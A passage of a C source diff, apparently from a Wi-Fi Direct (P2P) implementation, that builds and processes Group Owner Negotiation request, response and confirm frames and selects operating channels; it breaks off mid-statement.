p2p_peer_channels(struct p2p_data *p2p, struct p2p_device *dev, + const u8 *channel_list, size_t channel_list_len) +{ + return p2p_peer_channels_check(p2p, &p2p->channels, dev, + channel_list, channel_list_len); +} + + +u16 p2p_wps_method_pw_id(enum p2p_wps_method wps_method) +{ + switch (wps_method) { + case WPS_PIN_DISPLAY: + return DEV_PW_REGISTRAR_SPECIFIED; + case WPS_PIN_KEYPAD: + return DEV_PW_USER_SPECIFIED; + case WPS_PBC: + return DEV_PW_PUSHBUTTON; + default: + return DEV_PW_DEFAULT; + } +} + + +static const char * p2p_wps_method_str(enum p2p_wps_method wps_method) +{ + switch (wps_method) { + case WPS_PIN_DISPLAY: + return "Display"; + case WPS_PIN_KEYPAD: + return "Keypad"; + case WPS_PBC: + return "PBC"; + default: + return "??"; + } +} + + +static struct wpabuf * p2p_build_go_neg_req(struct p2p_data *p2p, + struct p2p_device *peer) +{ + struct wpabuf *buf; + u8 *len; + u8 group_capab; + size_t extra = 0; + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_go_neg) + extra = wpabuf_len(p2p->wfd_ie_go_neg); +#endif /* CONFIG_WIFI_DISPLAY */ + + buf = wpabuf_alloc(1000 + extra); + if (buf == NULL) + return NULL; + + p2p_buf_add_public_action_hdr(buf, P2P_GO_NEG_REQ, peer->dialog_token); + + len = p2p_buf_add_ie_hdr(buf); + group_capab = 0; + if (peer->flags & P2P_DEV_PREFER_PERSISTENT_GROUP) { + group_capab |= P2P_GROUP_CAPAB_PERSISTENT_GROUP; + if (peer->flags & P2P_DEV_PREFER_PERSISTENT_RECONN) + group_capab |= P2P_GROUP_CAPAB_PERSISTENT_RECONN; + } + if (p2p->cross_connect) + group_capab |= P2P_GROUP_CAPAB_CROSS_CONN; + if (p2p->cfg->p2p_intra_bss) + group_capab |= P2P_GROUP_CAPAB_INTRA_BSS_DIST; + p2p_buf_add_capability(buf, p2p->dev_capab & + ~P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY, + group_capab); + p2p_buf_add_go_intent(buf, (p2p->go_intent << 1) | peer->tie_breaker); + p2p_buf_add_config_timeout(buf, p2p->go_timeout, p2p->client_timeout); + p2p_buf_add_listen_channel(buf, p2p->cfg->country, p2p->cfg->reg_class, + p2p->cfg->channel); + if (p2p->ext_listen_interval) + p2p_buf_add_ext_listen_timing(buf, p2p->ext_listen_period, + p2p->ext_listen_interval); + p2p_buf_add_intended_addr(buf, p2p->intended_addr); + p2p_buf_add_channel_list(buf, p2p->cfg->country, &p2p->channels); + p2p_buf_add_device_info(buf, p2p, peer); + p2p_buf_add_operating_channel(buf, p2p->cfg->country, + p2p->op_reg_class, p2p->op_channel); + p2p_buf_update_ie_hdr(buf, len); + + /* WPS IE with Device Password ID attribute */ + if (p2p_build_wps_ie(p2p, buf, p2p_wps_method_pw_id(peer->wps_method), + 0) < 0) { + p2p_dbg(p2p, "Failed to build WPS IE for GO Negotiation Request"); + wpabuf_free(buf); + return NULL; + } + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_go_neg) + wpabuf_put_buf(buf, p2p->wfd_ie_go_neg); +#endif /* CONFIG_WIFI_DISPLAY */ + + return buf; +} + + +int p2p_connect_send(struct p2p_data *p2p, struct p2p_device *dev) +{ + struct wpabuf *req; + int freq; + + if (dev->flags & P2P_DEV_PD_BEFORE_GO_NEG) { + u16 config_method; + p2p_dbg(p2p, "Use PD-before-GO-Neg workaround for " MACSTR, + MAC2STR(dev->info.p2p_device_addr)); + if (dev->wps_method == WPS_PIN_DISPLAY) + config_method = WPS_CONFIG_KEYPAD; + else if (dev->wps_method == WPS_PIN_KEYPAD) + config_method = WPS_CONFIG_DISPLAY; + else if (dev->wps_method == WPS_PBC) + config_method = WPS_CONFIG_PUSHBUTTON; + else + return -1; + return p2p_prov_disc_req(p2p, dev->info.p2p_device_addr, + config_method, 0, 0, 1); + } + + freq = dev->listen_freq > 0 ? dev->listen_freq : dev->oper_freq; + if (freq <= 0) { + p2p_dbg(p2p, "No Listen/Operating frequency known for the peer " + MACSTR " to send GO Negotiation Request", + MAC2STR(dev->info.p2p_device_addr)); + return -1; + } + + req = p2p_build_go_neg_req(p2p, dev); + if (req == NULL) + return -1; + p2p_dbg(p2p, "Sending GO Negotiation Request"); + p2p_set_state(p2p, P2P_CONNECT); + p2p->pending_action_state = P2P_PENDING_GO_NEG_REQUEST; + p2p->go_neg_peer = dev; + dev->flags |= P2P_DEV_WAIT_GO_NEG_RESPONSE; + dev->connect_reqs++; + if (p2p_send_action(p2p, freq, dev->info.p2p_device_addr, + p2p->cfg->dev_addr, dev->info.p2p_device_addr, + wpabuf_head(req), wpabuf_len(req), 500) < 0) { + p2p_dbg(p2p, "Failed to send Action frame"); + /* Use P2P find to recover and retry */ + p2p_set_timeout(p2p, 0, 0); + } else + dev->go_neg_req_sent++; + + wpabuf_free(req); + + return 0; +} + + +static struct wpabuf * p2p_build_go_neg_resp(struct p2p_data *p2p, + struct p2p_device *peer, + u8 dialog_token, u8 status, + u8 tie_breaker) +{ + struct wpabuf *buf; + u8 *len; + u8 group_capab; + size_t extra = 0; + + p2p_dbg(p2p, "Building GO Negotiation Response"); + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_go_neg) + extra = wpabuf_len(p2p->wfd_ie_go_neg); +#endif /* CONFIG_WIFI_DISPLAY */ + + buf = wpabuf_alloc(1000 + extra); + if (buf == NULL) + return NULL; + + p2p_buf_add_public_action_hdr(buf, P2P_GO_NEG_RESP, dialog_token); + + len = p2p_buf_add_ie_hdr(buf); + p2p_buf_add_status(buf, status); + group_capab = 0; + if (peer && peer->go_state == LOCAL_GO) { + if (peer->flags & P2P_DEV_PREFER_PERSISTENT_GROUP) { + group_capab |= P2P_GROUP_CAPAB_PERSISTENT_GROUP; + if (peer->flags & P2P_DEV_PREFER_PERSISTENT_RECONN) + group_capab |= + P2P_GROUP_CAPAB_PERSISTENT_RECONN; + } + if (p2p->cross_connect) + group_capab |= P2P_GROUP_CAPAB_CROSS_CONN; + if (p2p->cfg->p2p_intra_bss) + group_capab |= P2P_GROUP_CAPAB_INTRA_BSS_DIST; + } + p2p_buf_add_capability(buf, p2p->dev_capab & + ~P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY, + group_capab); + p2p_buf_add_go_intent(buf, (p2p->go_intent << 1) | tie_breaker); + p2p_buf_add_config_timeout(buf, p2p->go_timeout, p2p->client_timeout); + if (peer && peer->go_state == REMOTE_GO) { + p2p_dbg(p2p, "Omit Operating Channel attribute"); + } else { + p2p_buf_add_operating_channel(buf, p2p->cfg->country, + p2p->op_reg_class, + p2p->op_channel); + } + p2p_buf_add_intended_addr(buf, p2p->intended_addr); + if (status || peer == NULL) { + p2p_buf_add_channel_list(buf, p2p->cfg->country, + &p2p->channels); + } else if (peer->go_state == REMOTE_GO) { + p2p_buf_add_channel_list(buf, p2p->cfg->country, + &p2p->channels); + } else { + struct p2p_channels res; + p2p_channels_intersect(&p2p->channels, &peer->channels, + &res); + p2p_buf_add_channel_list(buf, p2p->cfg->country, &res); + } + p2p_buf_add_device_info(buf, p2p, peer); + if (peer && peer->go_state == LOCAL_GO) { + p2p_buf_add_group_id(buf, p2p->cfg->dev_addr, p2p->ssid, + p2p->ssid_len); + } + p2p_buf_update_ie_hdr(buf, len); + + /* WPS IE with Device Password ID attribute */ + if (p2p_build_wps_ie(p2p, buf, + p2p_wps_method_pw_id(peer ? peer->wps_method : + WPS_NOT_READY), 0) < 0) { + p2p_dbg(p2p, "Failed to build WPS IE for GO Negotiation Response"); + wpabuf_free(buf); + return NULL; + } + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_go_neg) + wpabuf_put_buf(buf, p2p->wfd_ie_go_neg); +#endif /* CONFIG_WIFI_DISPLAY */ + + + return buf; +} + + +/** + * p2p_reselect_channel - Re-select operating channel based on peer information + * @p2p: P2P module context from p2p_init() + * @intersection: Support channel list intersection from local and peer + * + * This function is used to re-select the best channel after having received + * information from the peer to allow supported channel lists to be intersected. + * This can be used to improve initial channel selection done in + * p2p_prepare_channel() prior to the start of GO Negotiation. In addition, this + * can be used for Invitation case. + */ +void p2p_reselect_channel(struct p2p_data *p2p, + struct p2p_channels *intersection) +{ + struct p2p_reg_class *cl; + int freq; + u8 op_reg_class, op_channel; + unsigned int i; + const int op_classes_5ghz[] = { 124, 115, 0 }; + const int op_classes_ht40[] = { 126, 127, 116, 117, 0 }; + const int op_classes_vht[] = { 128, 0 }; + + if (p2p->own_freq_preference > 0 && + p2p_freq_to_channel(p2p->own_freq_preference, + &op_reg_class, &op_channel) == 0 && + p2p_channels_includes(intersection, op_reg_class, op_channel)) { + p2p_dbg(p2p, "Pick own channel preference (reg_class %u channel %u) from intersection", + op_reg_class, op_channel); + p2p->op_reg_class = op_reg_class; + p2p->op_channel = op_channel; + return; + } + + if (p2p->best_freq_overall > 0 && + p2p_freq_to_channel(p2p->best_freq_overall, + &op_reg_class, &op_channel) == 0 && + p2p_channels_includes(intersection, op_reg_class, op_channel)) { + p2p_dbg(p2p, "Pick best overall channel (reg_class %u channel %u) from intersection", + op_reg_class, op_channel); + p2p->op_reg_class = op_reg_class; + p2p->op_channel = op_channel; + return; + } + + /* First, try to pick the best channel from another band */ + freq = p2p_channel_to_freq(p2p->op_reg_class, p2p->op_channel); + if (freq >= 2400 && freq < 2500 && p2p->best_freq_5 > 0 && + !p2p_channels_includes(intersection, p2p->op_reg_class, + p2p->op_channel) && + p2p_freq_to_channel(p2p->best_freq_5, + &op_reg_class, &op_channel) == 0 && + p2p_channels_includes(intersection, op_reg_class, op_channel)) { + p2p_dbg(p2p, "Pick best 5 GHz channel (reg_class %u channel %u) from intersection", + op_reg_class, op_channel); + p2p->op_reg_class = op_reg_class; + p2p->op_channel = op_channel; + return; + } + + if (freq >= 4900 && freq < 6000 && p2p->best_freq_24 > 0 && + !p2p_channels_includes(intersection, p2p->op_reg_class, + p2p->op_channel) && + p2p_freq_to_channel(p2p->best_freq_24, + &op_reg_class, &op_channel) == 0 && + p2p_channels_includes(intersection, op_reg_class, op_channel)) { + p2p_dbg(p2p, "Pick best 2.4 GHz channel (reg_class %u channel %u) from intersection", + op_reg_class, op_channel); + p2p->op_reg_class = op_reg_class; + p2p->op_channel = op_channel; + return; + } + + /* Select channel with highest preference if the peer supports it */ + for (i = 0; p2p->cfg->pref_chan && i < p2p->cfg->num_pref_chan; i++) { + if (p2p_channels_includes(intersection, + p2p->cfg->pref_chan[i].op_class, + p2p->cfg->pref_chan[i].chan)) { + p2p->op_reg_class = p2p->cfg->pref_chan[i].op_class; + p2p->op_channel = p2p->cfg->pref_chan[i].chan; + p2p_dbg(p2p, "Pick highest preferred channel (op_class %u channel %u) from intersection", + p2p->op_reg_class, p2p->op_channel); + return; + } + } + + /* Try a channel where we might be able to use VHT */ + if (p2p_channel_select(intersection, op_classes_vht, + &p2p->op_reg_class, &p2p->op_channel) == 0) { + p2p_dbg(p2p, "Pick possible VHT channel (op_class %u channel %u) from intersection", + p2p->op_reg_class, p2p->op_channel); + return; + } + + /* Try a channel where we might be able to use HT40 */ + if (p2p_channel_select(intersection, op_classes_ht40, + &p2p->op_reg_class, &p2p->op_channel) == 0) { + p2p_dbg(p2p, "Pick possible HT40 channel (op_class %u channel %u) from intersection", + p2p->op_reg_class, p2p->op_channel); + return; + } + + /* Prefer a 5 GHz channel */ + if (p2p_channel_select(intersection, op_classes_5ghz, + &p2p->op_reg_class, &p2p->op_channel) == 0) { + p2p_dbg(p2p, "Pick possible 5 GHz channel (op_class %u channel %u) from intersection", + p2p->op_reg_class, p2p->op_channel); + return; + } + + /* + * Try to see if the original channel is in the intersection. If + * so, no need to change anything, as it already contains some + * randomness. + */ + if (p2p_channels_includes(intersection, p2p->op_reg_class, + p2p->op_channel)) { + p2p_dbg(p2p, "Using original operating class and channel (op_class %u channel %u) from intersection", + p2p->op_reg_class, p2p->op_channel); + return; + } + + /* + * Fall back to whatever is included in the channel intersection since + * no better options seems to be available. + */ + cl = &intersection->reg_class[0]; + p2p_dbg(p2p, "Pick another channel (reg_class %u channel %u) from intersection", + cl->reg_class, cl->channel[0]); + p2p->op_reg_class = cl->reg_class; + p2p->op_channel = cl->channel[0]; +} + + +static int p2p_go_select_channel(struct p2p_data *p2p, struct p2p_device *dev, + u8 *status) +{ + struct p2p_channels tmp, intersection; + + p2p_channels_dump(p2p, "own channels", &p2p->channels); + p2p_channels_dump(p2p, "peer channels", &dev->channels); + p2p_channels_intersect(&p2p->channels, &dev->channels, &tmp); + p2p_channels_dump(p2p, "intersection", &tmp); + p2p_channels_remove_freqs(&tmp, &p2p->no_go_freq); + p2p_channels_dump(p2p, "intersection after no-GO removal", &tmp); + p2p_channels_intersect(&tmp, &p2p->cfg->channels, &intersection); + p2p_channels_dump(p2p, "intersection with local channel list", + &intersection); + if (intersection.reg_classes == 0 || + intersection.reg_class[0].channels == 0) { + *status = P2P_SC_FAIL_NO_COMMON_CHANNELS; + p2p_dbg(p2p, "No common channels found"); + return -1; + } + + if (!p2p_channels_includes(&intersection, p2p->op_reg_class, + p2p->op_channel)) { + if (dev->flags & P2P_DEV_FORCE_FREQ) { + *status = P2P_SC_FAIL_NO_COMMON_CHANNELS; + p2p_dbg(p2p, "Peer does not support the forced channel"); + return -1; + } + + p2p_dbg(p2p, "Selected operating channel (op_class %u channel %u) not acceptable to the peer", + p2p->op_reg_class, p2p->op_channel); + p2p_reselect_channel(p2p, &intersection); + } else if (!(dev->flags & P2P_DEV_FORCE_FREQ) && + !p2p->cfg->cfg_op_channel) { + p2p_dbg(p2p, "Try to optimize channel selection with peer information received; previously selected op_class %u channel %u", + p2p->op_reg_class, p2p->op_channel); + p2p_reselect_channel(p2p, &intersection); + } + + if (!p2p->ssid_set) { + p2p_build_ssid(p2p, p2p->ssid, &p2p->ssid_len); + p2p->ssid_set = 1; + } + + return 0; +} + + +void p2p_process_go_neg_req(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq) +{ + struct p2p_device *dev = NULL; + struct wpabuf *resp; + struct p2p_message msg; + u8 status = P2P_SC_FAIL_INVALID_PARAMS; + int tie_breaker = 0; + int freq; + + p2p_dbg(p2p, "Received GO Negotiation Request from " MACSTR "(freq=%d)", + MAC2STR(sa), rx_freq); + + if (p2p_parse(data, len, &msg)) + return; + + if (!msg.capability) { + p2p_dbg(p2p, "Mandatory Capability attribute missing from GO Negotiation Request"); +#ifdef CONFIG_P2P_STRICT + goto fail; +#endif /* CONFIG_P2P_STRICT */ + } + + if (msg.go_intent) + tie_breaker = *msg.go_intent & 0x01; + else { + p2p_dbg(p2p, "Mandatory GO Intent attribute missing from GO Negotiation Request"); +#ifdef CONFIG_P2P_STRICT + goto fail; +#endif /* CONFIG_P2P_STRICT */ + } + + if (!msg.config_timeout) { + p2p_dbg(p2p, "Mandatory Configuration Timeout attribute missing from GO Negotiation Request"); +#ifdef CONFIG_P2P_STRICT + goto fail; +#endif /* CONFIG_P2P_STRICT */ + } + + if (!msg.listen_channel) { + p2p_dbg(p2p, "No Listen Channel attribute received"); + goto fail; + } + if (!msg.operating_channel) { + p2p_dbg(p2p, "No Operating Channel attribute received"); + goto fail; + } + if (!msg.channel_list) { + p2p_dbg(p2p, "No Channel List attribute received"); + goto fail; + } + if (!msg.intended_addr) { + p2p_dbg(p2p, "No Intended P2P Interface Address attribute received"); + goto fail; + } + if (!msg.p2p_device_info) { + p2p_dbg(p2p, "No P2P Device Info attribute received"); + goto fail; + } + + if (os_memcmp(msg.p2p_device_addr, sa, ETH_ALEN) != 0) { + p2p_dbg(p2p, "Unexpected GO Negotiation Request SA=" MACSTR + " != dev_addr=" MACSTR, + MAC2STR(sa), MAC2STR(msg.p2p_device_addr)); + goto fail; + } + + dev = p2p_get_device(p2p, sa); + + if (msg.status && *msg.status) { + p2p_dbg(p2p, "Unexpected Status attribute (%d) in GO Negotiation Request", + *msg.status); + goto fail; + } + + if (dev == NULL) + dev = p2p_add_dev_from_go_neg_req(p2p, sa, &msg); + else if (dev->flags & P2P_DEV_PROBE_REQ_ONLY) + p2p_add_dev_info(p2p, sa, dev, &msg); + if (dev && dev->flags & P2P_DEV_USER_REJECTED) { + p2p_dbg(p2p, "User has rejected this peer"); + status = P2P_SC_FAIL_REJECTED_BY_USER; + } else if (dev == NULL || dev->wps_method == WPS_NOT_READY) { + p2p_dbg(p2p, "Not ready for GO negotiation with " MACSTR, + MAC2STR(sa)); + status = P2P_SC_FAIL_INFO_CURRENTLY_UNAVAILABLE; + p2p->cfg->go_neg_req_rx(p2p->cfg->cb_ctx, sa, + msg.dev_password_id); + } else if (p2p->go_neg_peer && p2p->go_neg_peer != dev) { + p2p_dbg(p2p, "Already in Group Formation with another peer"); + status = P2P_SC_FAIL_UNABLE_TO_ACCOMMODATE; + } else { + int go; + + if (!p2p->go_neg_peer) { + p2p_dbg(p2p, "Starting GO Negotiation with previously authorized peer"); + if (!(dev->flags & P2P_DEV_FORCE_FREQ)) { + p2p_dbg(p2p, "Use default channel settings"); + p2p->op_reg_class = p2p->cfg->op_reg_class; + p2p->op_channel = p2p->cfg->op_channel; + os_memcpy(&p2p->channels, &p2p->cfg->channels, + sizeof(struct p2p_channels)); + } else { + p2p_dbg(p2p, "Use previously configured forced channel settings"); + } + } + + dev->flags &= ~P2P_DEV_NOT_YET_READY; + + if (!msg.go_intent) { + p2p_dbg(p2p, "No GO Intent attribute received"); + goto fail; + } + if ((*msg.go_intent >> 1) > P2P_MAX_GO_INTENT) { + p2p_dbg(p2p, "Invalid GO Intent value (%u) received", + *msg.go_intent >> 1); + goto fail; + } + + if (dev->go_neg_req_sent && + os_memcmp(sa, p2p->cfg->dev_addr, ETH_ALEN) > 0) { + p2p_dbg(p2p, "Do not reply since peer has higher address and GO Neg Request already sent"); + p2p_parse_free(&msg); + return; + } + + go = p2p_go_det(p2p->go_intent, *msg.go_intent); + if (go < 0) { + p2p_dbg(p2p, "Incompatible GO Intent"); + status = P2P_SC_FAIL_BOTH_GO_INTENT_15; + goto fail; + } + + if (p2p_peer_channels(p2p, dev, msg.channel_list, + msg.channel_list_len) < 0) { + p2p_dbg(p2p, "No common channels found"); + status = P2P_SC_FAIL_NO_COMMON_CHANNELS; + goto fail; + } + + switch (msg.dev_password_id) { + case DEV_PW_REGISTRAR_SPECIFIED: + p2p_dbg(p2p, "PIN from peer Display"); + if (dev->wps_method != WPS_PIN_KEYPAD) { + p2p_dbg(p2p, "We have wps_method=%s -> incompatible", + p2p_wps_method_str(dev->wps_method)); + status = P2P_SC_FAIL_INCOMPATIBLE_PROV_METHOD; + goto fail; + } + break; + case DEV_PW_USER_SPECIFIED: + p2p_dbg(p2p, "Peer entered PIN on Keypad"); + if (dev->wps_method != WPS_PIN_DISPLAY) { + p2p_dbg(p2p, "We have wps_method=%s -> incompatible", + p2p_wps_method_str(dev->wps_method)); + status = P2P_SC_FAIL_INCOMPATIBLE_PROV_METHOD; + goto fail; + } + break; + case DEV_PW_PUSHBUTTON: + p2p_dbg(p2p, "Peer using pushbutton"); + if (dev->wps_method != WPS_PBC) { + p2p_dbg(p2p, "We have wps_method=%s -> incompatible", + p2p_wps_method_str(dev->wps_method)); + status = P2P_SC_FAIL_INCOMPATIBLE_PROV_METHOD; + goto fail; + } + break; + default: + p2p_dbg(p2p, "Unsupported Device Password ID %d", + msg.dev_password_id); + status = P2P_SC_FAIL_INCOMPATIBLE_PROV_METHOD; + goto fail; + } + + if (go && p2p_go_select_channel(p2p, dev, &status) < 0) + goto fail; + + dev->go_state = go ? LOCAL_GO : REMOTE_GO; + dev->oper_freq = p2p_channel_to_freq(msg.operating_channel[3], + msg.operating_channel[4]); + p2p_dbg(p2p, "Peer operating channel preference: %d MHz", + dev->oper_freq); + + if (msg.config_timeout) { + dev->go_timeout = msg.config_timeout[0]; + dev->client_timeout = msg.config_timeout[1]; + } + + p2p_dbg(p2p, "GO Negotiation with " MACSTR, MAC2STR(sa)); + if (p2p->state != P2P_IDLE) + p2p_stop_find_for_freq(p2p, rx_freq); + p2p_set_state(p2p, P2P_GO_NEG); + p2p_clear_timeout(p2p); + dev->dialog_token = msg.dialog_token; + os_memcpy(dev->intended_addr, msg.intended_addr, ETH_ALEN); + p2p->go_neg_peer = dev; + status = P2P_SC_SUCCESS; + } + +fail: + if (dev) + dev->status = status; + resp = p2p_build_go_neg_resp(p2p, dev, msg.dialog_token, status, + !tie_breaker); + p2p_parse_free(&msg); + if (resp == NULL) + return; + p2p_dbg(p2p, "Sending GO Negotiation Response"); + if (rx_freq > 0) + freq = rx_freq; + else + freq = p2p_channel_to_freq(p2p->cfg->reg_class, + p2p->cfg->channel); + if (freq < 0) { + p2p_dbg(p2p, "Unknown regulatory class/channel"); + wpabuf_free(resp); + return; + } + if (status == P2P_SC_SUCCESS) { + p2p->pending_action_state = P2P_PENDING_GO_NEG_RESPONSE; + dev->flags |= P2P_DEV_WAIT_GO_NEG_CONFIRM; + if (os_memcmp(sa, p2p->cfg->dev_addr, ETH_ALEN) < 0) { + /* + * Peer has smaller address, so the GO Negotiation + * Response from us is expected to complete + * negotiation. Ignore a GO Negotiation Response from + * the peer if it happens to be received after this + * point due to a race condition in GO Negotiation + * Request transmission and processing. + */ + dev->flags &= ~P2P_DEV_WAIT_GO_NEG_RESPONSE; + } + } else + p2p->pending_action_state = + P2P_PENDING_GO_NEG_RESPONSE_FAILURE; + if (p2p_send_action(p2p, freq, sa, p2p->cfg->dev_addr, + p2p->cfg->dev_addr, + wpabuf_head(resp), wpabuf_len(resp), 500) < 0) { + p2p_dbg(p2p, "Failed to send Action frame"); + } + + wpabuf_free(resp); +} + + +static struct wpabuf * p2p_build_go_neg_conf(struct p2p_data *p2p, + struct p2p_device *peer, + u8 dialog_token, u8 status, + const u8 *resp_chan, int go) +{ + struct wpabuf *buf; + u8 *len; + struct p2p_channels res; + u8 group_capab; + size_t extra = 0; + + p2p_dbg(p2p, "Building GO Negotiation Confirm"); + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_go_neg) + extra = wpabuf_len(p2p->wfd_ie_go_neg); +#endif /* CONFIG_WIFI_DISPLAY */ + + buf = wpabuf_alloc(1000 + extra); + if (buf == NULL) + return NULL; + + p2p_buf_add_public_action_hdr(buf, P2P_GO_NEG_CONF, dialog_token); + + len = p2p_buf_add_ie_hdr(buf); + p2p_buf_add_status(buf, status); + group_capab = 0; + if (peer->go_state == LOCAL_GO) { + if (peer->flags & P2P_DEV_PREFER_PERSISTENT_GROUP) { + group_capab |= P2P_GROUP_CAPAB_PERSISTENT_GROUP; + if (peer->flags & P2P_DEV_PREFER_PERSISTENT_RECONN) + group_capab |= + P2P_GROUP_CAPAB_PERSISTENT_RECONN; + } + if (p2p->cross_connect) + group_capab |= P2P_GROUP_CAPAB_CROSS_CONN; + if (p2p->cfg->p2p_intra_bss) + group_capab |= P2P_GROUP_CAPAB_INTRA_BSS_DIST; + } + p2p_buf_add_capability(buf, p2p->dev_capab & + ~P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY, + group_capab); + if (go || resp_chan == NULL) + p2p_buf_add_operating_channel(buf, p2p->cfg->country, + p2p->op_reg_class, + p2p->op_channel); + else + p2p_buf_add_operating_channel(buf, (const char *) resp_chan, + resp_chan[3], resp_chan[4]); + p2p_channels_intersect(&p2p->channels, &peer->channels, &res); + p2p_buf_add_channel_list(buf, p2p->cfg->country, &res); + if (go) { + p2p_buf_add_group_id(buf, p2p->cfg->dev_addr, p2p->ssid, + p2p->ssid_len); + } + p2p_buf_update_ie_hdr(buf, len); + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_go_neg) + wpabuf_put_buf(buf, p2p->wfd_ie_go_neg); +#endif /* CONFIG_WIFI_DISPLAY */ + + return buf; +} + + +void p2p_process_go_neg_resp(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq) +{ + struct p2p_device *dev; + struct wpabuf *conf; + int go = -1; + struct p2p_message msg; + u8 status = P2P_SC_SUCCESS; + int freq; + + p2p_dbg(p2p, "Received GO Negotiation Response from " MACSTR + " (freq=%d)", MAC2STR(sa), rx_freq); + dev = p2p_get_device(p2p, sa); + if (dev == NULL || dev->wps_method == WPS_NOT_READY || + dev != p2p->go_neg_peer) { + p2p_dbg(p2p, "Not ready for GO negotiation with " MACSTR, + MAC2STR(sa)); + return; + } + + if (p2p_parse(data, len, &msg)) + return; + + if (!(dev->flags & P2P_DEV_WAIT_GO_NEG_RESPONSE)) { + p2p_dbg(p2p, "Was not expecting GO Negotiation Response - ignore"); + p2p_parse_free(&msg); + return; + } + dev->flags &= ~P2P_DEV_WAIT_GO_NEG_RESPONSE; + + if (msg.dialog_token != dev->dialog_token) { + p2p_dbg(p2p, "Unexpected Dialog Token %u (expected %u)", + msg.dialog_token, dev->dialog_token); + p2p_parse_free(&msg); + return; + } + + if (!msg.status) { + p2p_dbg(p2p, "No Status attribute received"); + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; + } + if (*msg.status) { + p2p_dbg(p2p, "GO Negotiation rejected: status %d", *msg.status); + dev->go_neg_req_sent = 0; + if (*msg.status == P2P_SC_FAIL_INFO_CURRENTLY_UNAVAILABLE) { + p2p_dbg(p2p, "Wait for the peer to become ready for GO Negotiation"); + dev->flags |= P2P_DEV_NOT_YET_READY; + dev->wait_count = 0; + p2p_set_state(p2p, P2P_WAIT_PEER_IDLE); + p2p_set_timeout(p2p, 0, 0); + } else { + p2p_dbg(p2p, "Stop GO Negotiation attempt"); + p2p_go_neg_failed(p2p, dev, *msg.status); + } + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + p2p_parse_free(&msg); + return; + } + + if (!msg.capability) { + p2p_dbg(p2p, "Mandatory Capability attribute missing from GO Negotiation Response"); +#ifdef CONFIG_P2P_STRICT + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; +#endif /* CONFIG_P2P_STRICT */ + } + + if (!msg.p2p_device_info) { + p2p_dbg(p2p, "Mandatory P2P Device Info attribute missing from GO Negotiation Response"); +#ifdef CONFIG_P2P_STRICT + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; +#endif /* CONFIG_P2P_STRICT */ + } + + if (!msg.intended_addr) { + p2p_dbg(p2p, "No Intended P2P Interface Address attribute received"); + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; + } + + if (!msg.go_intent) { + p2p_dbg(p2p, "No GO Intent attribute received"); + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; + } + if ((*msg.go_intent >> 1) > P2P_MAX_GO_INTENT) { + p2p_dbg(p2p, "Invalid GO Intent value (%u) received", + *msg.go_intent >> 1); + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; + } + + go = p2p_go_det(p2p->go_intent, *msg.go_intent); + if (go < 0) { + p2p_dbg(p2p, "Incompatible GO Intent"); + status = P2P_SC_FAIL_INCOMPATIBLE_PARAMS; + goto fail; + } + + if (!go && msg.group_id) { + /* Store SSID for Provisioning step */ + p2p->ssid_len = msg.group_id_len - ETH_ALEN; + os_memcpy(p2p->ssid, msg.group_id + ETH_ALEN, p2p->ssid_len); + } else if (!go) { + p2p_dbg(p2p, "Mandatory P2P Group ID attribute missing from GO Negotiation Response"); + p2p->ssid_len = 0; + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; + } + + if (!msg.config_timeout) { + p2p_dbg(p2p, "Mandatory Configuration Timeout attribute missing from GO Negotiation Response"); +#ifdef CONFIG_P2P_STRICT + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; +#endif /* CONFIG_P2P_STRICT */ + } else { + dev->go_timeout = msg.config_timeout[0]; + dev->client_timeout = msg.config_timeout[1]; + } + + if (!msg.operating_channel && !go) { + /* + * Note: P2P Client may omit Operating Channel attribute to + * indicate it does not have a preference. + */ + p2p_dbg(p2p, "No Operating Channel attribute received"); + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; + } + if (!msg.channel_list) { + p2p_dbg(p2p, "No Channel List attribute received"); + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; + } + + if (p2p_peer_channels(p2p, dev, msg.channel_list, + msg.channel_list_len) < 0) { + p2p_dbg(p2p, "No common channels found"); + status = P2P_SC_FAIL_NO_COMMON_CHANNELS; + goto fail; + } + + if (msg.operating_channel) { + dev->oper_freq = p2p_channel_to_freq(msg.operating_channel[3], + msg.operating_channel[4]); + p2p_dbg(p2p, "Peer operating channel preference: %d MHz", + dev->oper_freq); + } else + dev->oper_freq = 0; + + switch (msg.dev_password_id) { + case DEV_PW_REGISTRAR_SPECIFIED: + p2p_dbg(p2p, "PIN from peer Display"); + if (dev->wps_method != WPS_PIN_KEYPAD) { + p2p_dbg(p2p, "We have wps_method=%s -> incompatible", + p2p_wps_method_str(dev->wps_method)); + status = P2P_SC_FAIL_INCOMPATIBLE_PROV_METHOD; + goto fail; + } + break; + case DEV_PW_USER_SPECIFIED: + p2p_dbg(p2p, "Peer entered PIN on Keypad"); + if (dev->wps_method != WPS_PIN_DISPLAY) { + p2p_dbg(p2p, "We have wps_method=%s -> incompatible", + p2p_wps_method_str(dev->wps_method)); + status = P2P_SC_FAIL_INCOMPATIBLE_PROV_METHOD; + goto fail; + } + break; + case DEV_PW_PUSHBUTTON: + p2p_dbg(p2p, "Peer using pushbutton"); + if (dev->wps_method != WPS_PBC) { + p2p_dbg(p2p, "We have wps_method=%s -> incompatible", + p2p_wps_method_str(dev->wps_method)); + status = P2P_SC_FAIL_INCOMPATIBLE_PROV_METHOD; + goto fail; + } + break; + default: + p2p_dbg(p2p, "Unsupported Device Password ID %d", + 